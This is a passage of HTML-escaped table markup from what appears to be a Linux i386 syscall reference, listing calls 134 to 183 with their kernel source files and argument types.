href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;134&lt;/td&gt;&lt;td&gt;sys_bdflush&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/buffer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;135&lt;/td&gt;&lt;td&gt;sys_sysfs&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/super.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;136&lt;/td&gt;&lt;td&gt;sys_personality&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/exec_domain.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;138&lt;/td&gt;&lt;td&gt;sys_setfsuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;139&lt;/td&gt;&lt;td&gt;sys_setfsgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;140&lt;/td&gt;&lt;td&gt;sys_llseek&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#loff_t"&gt;loff_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;141&lt;/td&gt;&lt;td&gt;sys_getdents&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/readdir.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;142&lt;/td&gt;&lt;td&gt;sys_select&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/select.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#fd_set"&gt;fd_set *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#fd_set"&gt;fd_set *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#fd_set"&gt;fd_set *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval *&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;143&lt;/td&gt;&lt;td&gt;sys_flock&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/locks.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;144&lt;/td&gt;&lt;td&gt;sys_msync&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/filemap.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;145&lt;/td&gt;&lt;td&gt;sys_readv&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#iovec"&gt;const struct iovec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;146&lt;/td&gt;&lt;td&gt;sys_writev&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#iovec"&gt;const struct iovec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;147&lt;/td&gt;&lt;td&gt;sys_getsid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;148&lt;/td&gt;&lt;td&gt;sys_fdatasync&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/buffer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;149&lt;/td&gt;&lt;td&gt;sys_sysctl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sysctl.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__sysctl_args"&gt;struct __sysctl_args *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;150&lt;/td&gt;&lt;td&gt;sys_mlock&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mlock.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;151&lt;/td&gt;&lt;td&gt;sys_munlock&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mlock.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;152&lt;/td&gt;&lt;td&gt;sys_mlockall&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mlock.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;153&lt;/td&gt;&lt;td&gt;sys_munlockall&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mlock.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;154&lt;/td&gt;&lt;td&gt;sys_sched_setparam&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sched_param"&gt;struct sched_param *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;155&lt;/td&gt;&lt;td&gt;sys_sched_getparam&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sched_param"&gt;struct sched_param *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;156&lt;/td&gt;&lt;td&gt;sys_sched_setscheduler&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sched_param"&gt;struct sched_param *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;157&lt;/td&gt;&lt;td&gt;sys_sched_getscheduler&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;158&lt;/td&gt;&lt;td&gt;sys_sched_yield&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;159&lt;/td&gt;&lt;td&gt;sys_sched_get_priority_max&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;160&lt;/td&gt;&lt;td&gt;sys_sched_get_priority_min&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;161&lt;/td&gt;&lt;td&gt;sys_sched_rr_get_interval&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timespec"&gt;struct timespec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;162&lt;/td&gt;&lt;td&gt;sys_nanosleep&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timespec"&gt;struct timespec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timespec"&gt;struct timespec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;163&lt;/td&gt;&lt;td&gt;sys_mremap&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mremap.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;164&lt;/td&gt;&lt;td&gt;sys_setresuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;165&lt;/td&gt;&lt;td&gt;sys_getresuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;166&lt;/td&gt;&lt;td&gt;sys_vm86&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/vm86.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#vm86_struct"&gt;struct vm86_struct *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;167&lt;/td&gt;&lt;td&gt;sys_query_module&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/module.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t *&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;168&lt;/td&gt;&lt;td&gt;sys_poll&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/select.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pollfd"&gt;struct pollfd *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;169&lt;/td&gt;&lt;td&gt;sys_nfsservctl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/filesystems.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;170&lt;/td&gt;&lt;td&gt;sys_setresgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;171&lt;/td&gt;&lt;td&gt;sys_getresgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;172&lt;/td&gt;&lt;td&gt;sys_prctl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;173&lt;/td&gt;&lt;td&gt;sys_rt_sigreturn&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;174&lt;/td&gt;&lt;td&gt;sys_rt_sigaction&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigaction"&gt;const struct sigaction *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigaction"&gt;struct sigaction *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;175&lt;/td&gt;&lt;td&gt;sys_rt_sigprocmask&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;176&lt;/td&gt;&lt;td&gt;sys_rt_sigpending&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;177&lt;/td&gt;&lt;td&gt;sys_rt_sigtimedwait&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;const sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#siginfo_t"&gt;siginfo_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timespec"&gt;const struct timespec *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;178&lt;/td&gt;&lt;td&gt;sys_rt_sigqueueinfo&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#siginfo_t"&gt;siginfo_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;179&lt;/td&gt;&lt;td&gt;sys_rt_sigsuspend&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;180&lt;/td&gt;&lt;td&gt;sys_pread&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#loff_t"&gt;loff_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;181&lt;/td&gt;&lt;td&gt;sys_pwrite&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#loff_t"&gt;loff_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;182&lt;/td&gt;&lt;td&gt;sys_chown&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;183&lt;/td&gt;&lt;td&gt;sys_getcwd&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/dcache.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;unsigned 